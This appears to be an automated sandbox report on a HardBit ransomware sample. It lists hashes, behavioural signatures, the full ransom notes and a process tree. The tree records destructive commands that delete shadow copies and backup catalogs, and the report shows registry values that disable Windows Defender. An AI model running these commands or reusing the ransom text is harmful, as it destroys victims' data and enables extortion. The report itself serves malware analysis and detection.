a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992

Resubmissions

28/02/2023, 20:04

230228-ytdzksch89 10

04/02/2023, 22:36

04/02/2023, 22:32

04/02/2023, 22:30

04/02/2023, 22:15

28/12/2022, 14:55

Analysis

max time kernel
419s
max time network
413s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
04/02/2023, 22:15

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
Size

333KB
MD5

3191feae778309eb99df4e4e25c62f1a
SHA1

d639821e3fbbb15e14b46aed5b98568e3ce045c3
SHA256

a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992
SHA512

c8d8734bb1d6e413d8b14e73952a4eb42fd5641ca49822db66f87ea7f0c1fb4c2a38232a652a11ca1c3c5564a517a2aaef8fb59fadff36a11afcce60e5d89798
SSDEEP

6144:P1S1JwNbEKcwwZTz2fYNR5OyxyM6qy9iJ4zv5fmRw9aC1oPtYdeAS9aqbGqeBD:9So4KcZbRwyxmf9iWhuw9aCqPtYMH9zs

Score

10^/10

evasion ransomware trojan

Malware Config

Extracted

Path

C:\Users\Admin\Favorites\Links\How To Restore Your Files.txt

Ransom Note

_ _ _____ ___ ___ ___ _ _____ | | ( )| _ || _ \ ( _ \ ( _ \ (_)(_ _) | |_| || (_) || (_) )| | ) || (_) )| | | | | _ || _ || / | | | || _ ( | | | | | | | || | | || |\ \ | |_) || (_) )| | | | (_) |_||_| |_||_| (_)(____/ (____/ |_| |_| ¦¦¦¦¦HARDBIT RANSOMWARE¦¦¦¦¦ ---- what happened? All your files have been stolen and then encrypted. But don't worry, everything is safe and will be returned to you. ---- How can I get my files back? You have to pay us to get the files back. We don't have bank or paypal accounts, you only have to pay us via Bitcoin. ---- How can I buy bitcoins? You can buy bitcoins from all reputable sites in the world and send them to us. Just search how to buy bitcoins on the internet. Our suggestion is these sites. >>https://www.binance.com/en<< >>https://www.coinbase.com/<< >>https://localbitcoins.com/<< >>https://www.bybit.com/en-US/<< ---- What is your guarantee to restore files? Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will cooperate with us. Its not in our interests. To check the ability of returning files, you can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!) and low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee. ---- How to contact with you? Or contact us by email:>>[email protected]<< or >>[email protected]<< ---- How will the payment process be after payment? After payment, we will send you the decryption tool along with the guide and we will be with you until the last file is decrypted. ---- What happens if I don't pay you? If you don't pay us, you will never have access to your files because the private key is only in our hands. This transaction is not important to us, but it is important to you, because not only do you not have access to your files, but you also lose time. And the more time passes, the more you will lose and If you do not pay the ransom, we will attack your company again in the future. ---- What are your recommendations? - Never change the name of the files, if you want to manipulate the files, make sure you make a backup of them. If there is a problem with the files, we are not responsible for it. - Never work with intermediary companies, because they charge more money from you. For example, if we ask you for 50,000 dollars, they will tell you 55,000 dollars. Don't be afraid of us, just call us. ---- Very important! For those who have cyber insurance against ransomware attacks. Insurance companies require you to keep your insurance information secret, this is to never pay the maximum amount specified in the contract or to pay nothing at all, disrupting negotiations. The insurance company will try to derail negotiations in any way they can so that they can later argue that you will be denied coverage because your insurance does not cover the ransom amount. For example your company is insured for 10 million dollars, while negotiating with your insurance agent about the ransom he will offer us the lowest possible amount, for example 100 thousand dollars, we will refuse the paltry amount and ask for example the amount of 15 million dollars, the insurance agent will never offer us the top threshold of your insurance of 10 million dollars. He will do anything to derail negotiations and refuse to pay us out completely and leave you alone with your problem. If you told us anonymously that your company was insured for $10 million and other important details regarding insurance coverage, we would not demand more than $10 million in correspondence with the insurance agent. That way you would have avoided a leak and decrypted your information. But since the sneaky insurance agent purposely negotiates so as not to pay for the insurance claim, only the insurance company wins in this situation. To avoid all this and get the money on the insurance, be sure to inform us anonymously about the availability and terms of insurance coverage, it benefits both you and us, but it does not benefit the insurance company. Poor multimillionaire insurers will not starve and will not become poorer from the payment of the maximum amount specified in the contract, because everyone knows that the contract is more expensive than money, so let them fulfill the conditions prescribed in your insurance contract, thanks to our interaction. -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Your ID :078BFBFF000306D2, 078BFBFF000306D2 Your Key :jFFjjMSo3gCT/w26SL9KA+034Sv8EEqGfmsl4KAdjTNfsQMppTgxRu5aYOcY78STCHbpZl50S3oE/ZKW07pvTtwz6ziJieGLYA0ftpqfuEJ/lU18Y9bpc2uSHqhORHXAu0a8pVr8+BYwk9sBfCAbHXZBEzqRNFVb1/ge2+f66Uc=

Emails

email:>>[email protected]<<

>>[email protected]<<

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\readme-warning.hta

Ransom Note

All your files have been encrypted due to a security problem with your PC. If you want to restore them, please send your ID for us Our contact information is written in file (HOW TO RESTORE YOUR FILES). Please read this file carefully so as not to make a mistake. You have to 48 hours(2 Days) To contact or paying us After that, you have to Pay Double . We need your ID and your ID is written below the help file Please do not touch the Key written under the help file in any way, otherwise the consequences will be with you Introducing TOX messengers You can download and install TOX message from this link https://tox.chat/ Our ID in TOX: 77A904360EA7D74268E7A4F316865F1703D2D7A6AF28C9ECFACED69CD09C8610FF2C728E6A33. We are ready to answer your questions! If you have information about the company and its servers, share with us in TOX and receive a share from us when they pay. Don't worry, your identity will remain hidden. Is there a guarantee for decryption after payment? Before paying you can send us up to for free decryption. The total size of files must be less than 1Mb (non archived), and files should not contain valuable information. (databases,backups, large excel sheets, etc.) Attention! DO NOT trust anyone except the email and the TOX ID that is in the help file, otherwise we will not be responsible for the consequences. DO NOT rename encrypted files. DO NOT try to decrypt or manipulate the files yourself. Do Not contact intermediary companies. They don't do anything special, they just message us and give us money and get the key, but if our price was $50,000, they will charge $70,000 from you. Do not pay any money for the test file. Before manipulating the files, be sure to make a backup of them, otherwise it is your responsibility.

URLs

https://tox.chat/

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies extensions of user files 2 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File opened for modification	C:\Users\Admin\Pictures\ResetDismount.tiff	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
File opened for modification	C:\Users\Admin\Pictures\UseLimit.tiff	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe

Executes dropped EXE 1 IoCs

pid	Process
3552	lsm.exe

Loads dropped DLL 2 IoCs

pid	Process
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe

Sets desktop wallpaper using registry 2 TTPs 3 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Documents\\hrdb.ico"	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Pictures\\My Wallpaper.jpg"	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\HARDBIT.jpg"	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1288	sc.exe
3404	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Interacts with shadow copies 2 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
1112	vssadmin.exe
3468	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 5 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\.hardbit2	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\.hardbit2\	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\.hardbit2\DefaultIcon	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\.hardbit2\DefaultIcon\ = "C:\\Users\\Admin\\Documents\\hrdb.ico"	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
3516	NOTEPAD.EXE

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1660	powershell.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1592	WMIC.exe
Token: SeSecurityPrivilege	1592	WMIC.exe
Token: SeTakeOwnershipPrivilege	1592	WMIC.exe
Token: SeLoadDriverPrivilege	1592	WMIC.exe
Token: SeSystemProfilePrivilege	1592	WMIC.exe
Token: SeSystemtimePrivilege	1592	WMIC.exe
Token: SeProfSingleProcessPrivilege	1592	WMIC.exe
Token: SeIncBasePriorityPrivilege	1592	WMIC.exe
Token: SeCreatePagefilePrivilege	1592	WMIC.exe
Token: SeBackupPrivilege	1592	WMIC.exe
Token: SeRestorePrivilege	1592	WMIC.exe
Token: SeShutdownPrivilege	1592	WMIC.exe
Token: SeDebugPrivilege	1592	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1592	WMIC.exe
Token: SeRemoteShutdownPrivilege	1592	WMIC.exe
Token: SeUndockPrivilege	1592	WMIC.exe
Token: SeManageVolumePrivilege	1592	WMIC.exe
Token: 33	1592	WMIC.exe
Token: 34	1592	WMIC.exe
Token: 35	1592	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1592	WMIC.exe
Token: SeSecurityPrivilege	1592	WMIC.exe
Token: SeTakeOwnershipPrivilege	1592	WMIC.exe
Token: SeLoadDriverPrivilege	1592	WMIC.exe
Token: SeSystemProfilePrivilege	1592	WMIC.exe
Token: SeSystemtimePrivilege	1592	WMIC.exe
Token: SeProfSingleProcessPrivilege	1592	WMIC.exe
Token: SeIncBasePriorityPrivilege	1592	WMIC.exe
Token: SeCreatePagefilePrivilege	1592	WMIC.exe
Token: SeBackupPrivilege	1592	WMIC.exe
Token: SeRestorePrivilege	1592	WMIC.exe
Token: SeShutdownPrivilege	1592	WMIC.exe
Token: SeDebugPrivilege	1592	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1592	WMIC.exe
Token: SeRemoteShutdownPrivilege	1592	WMIC.exe
Token: SeUndockPrivilege	1592	WMIC.exe
Token: SeManageVolumePrivilege	1592	WMIC.exe
Token: 33	1592	WMIC.exe
Token: 34	1592	WMIC.exe
Token: 35	1592	WMIC.exe
Token: SeDebugPrivilege	1660	powershell.exe
Token: SeDebugPrivilege	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
Token: SeIncreaseQuotaPrivilege	3496	WMIC.exe
Token: SeSecurityPrivilege	3496	WMIC.exe
Token: SeTakeOwnershipPrivilege	3496	WMIC.exe
Token: SeLoadDriverPrivilege	3496	WMIC.exe
Token: SeSystemProfilePrivilege	3496	WMIC.exe
Token: SeSystemtimePrivilege	3496	WMIC.exe
Token: SeProfSingleProcessPrivilege	3496	WMIC.exe
Token: SeIncBasePriorityPrivilege	3496	WMIC.exe
Token: SeCreatePagefilePrivilege	3496	WMIC.exe
Token: SeBackupPrivilege	3496	WMIC.exe
Token: SeRestorePrivilege	3496	WMIC.exe
Token: SeShutdownPrivilege	3496	WMIC.exe
Token: SeDebugPrivilege	3496	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3496	WMIC.exe
Token: SeRemoteShutdownPrivilege	3496	WMIC.exe
Token: SeUndockPrivilege	3496	WMIC.exe
Token: SeManageVolumePrivilege	3496	WMIC.exe
Token: 33	3496	WMIC.exe
Token: 34	3496	WMIC.exe
Token: 35	3496	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3496	WMIC.exe
Token: SeSecurityPrivilege	3496	WMIC.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3516	NOTEPAD.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 340 wrote to memory of 1632	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	29
PID 340 wrote to memory of 1632	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	29
PID 340 wrote to memory of 1632	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	29
PID 340 wrote to memory of 1632	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	29
PID 1632 wrote to memory of 1288	1632	cmd.exe	31
PID 1632 wrote to memory of 1288	1632	cmd.exe	31
PID 1632 wrote to memory of 1288	1632	cmd.exe	31
PID 1632 wrote to memory of 1288	1632	cmd.exe	31
PID 340 wrote to memory of 1696	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	32
PID 340 wrote to memory of 1696	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	32
PID 340 wrote to memory of 1696	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	32
PID 340 wrote to memory of 1696	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	32
PID 340 wrote to memory of 1772	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	34
PID 340 wrote to memory of 1772	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	34
PID 340 wrote to memory of 1772	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	34
PID 340 wrote to memory of 1772	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	34
PID 1772 wrote to memory of 1112	1772	cmd.exe	36
PID 1772 wrote to memory of 1112	1772	cmd.exe	36
PID 1772 wrote to memory of 1112	1772	cmd.exe	36
PID 1772 wrote to memory of 1112	1772	cmd.exe	36
PID 1772 wrote to memory of 1592	1772	cmd.exe	37
PID 1772 wrote to memory of 1592	1772	cmd.exe	37
PID 1772 wrote to memory of 1592	1772	cmd.exe	37
PID 1772 wrote to memory of 1592	1772	cmd.exe	37
PID 340 wrote to memory of 976	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	39
PID 340 wrote to memory of 976	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	39
PID 340 wrote to memory of 976	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	39
PID 340 wrote to memory of 976	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	39
PID 340 wrote to memory of 1660	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	41
PID 340 wrote to memory of 1660	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	41
PID 340 wrote to memory of 1660	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	41
PID 340 wrote to memory of 1660	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	41
PID 340 wrote to memory of 784	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	43
PID 340 wrote to memory of 784	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	43
PID 340 wrote to memory of 784	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	43
PID 340 wrote to memory of 784	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	43
PID 340 wrote to memory of 1700	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	44
PID 340 wrote to memory of 1700	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	44
PID 340 wrote to memory of 1700	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	44
PID 340 wrote to memory of 1700	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	44
PID 340 wrote to memory of 1936	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	47
PID 340 wrote to memory of 1936	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	47
PID 340 wrote to memory of 1936	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	47
PID 340 wrote to memory of 1936	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	47
PID 340 wrote to memory of 780	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	48
PID 340 wrote to memory of 780	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	48
PID 340 wrote to memory of 780	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	48
PID 340 wrote to memory of 780	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	48
PID 340 wrote to memory of 1260	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	50
PID 340 wrote to memory of 1260	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	50
PID 340 wrote to memory of 1260	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	50
PID 340 wrote to memory of 1260	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	50
PID 340 wrote to memory of 304	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	53
PID 340 wrote to memory of 304	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	53
PID 340 wrote to memory of 304	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	53
PID 340 wrote to memory of 304	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	53
PID 340 wrote to memory of 1544	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	54
PID 340 wrote to memory of 1544	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	54
PID 340 wrote to memory of 1544	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	54
PID 340 wrote to memory of 1544	340	a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe	54
PID 780 wrote to memory of 1040	780	net.exe	56
PID 780 wrote to memory of 1040	780	net.exe	56
PID 780 wrote to memory of 1040	780	net.exe	56
PID 780 wrote to memory of 1040	780	net.exe	56

C:\Users\Admin\AppData\Local\Temp\a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
"C:\Users\Admin\AppData\Local\Temp\a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe"
1⤵
- Modifies Windows Defender Real-time Protection settings
- Modifies extensions of user files
- Drops startup file
- Loads dropped DLL
- Windows security modification
- Sets desktop wallpaper using registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:340
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C sc delete VSS
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1632
- - C:\Windows\SysWOW64\sc.exe
    sc delete VSS
    3⤵
    - Launches sc.exe
    PID:1288
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
  2⤵
  PID:1696
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1772
- - C:\Windows\SysWOW64\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1112
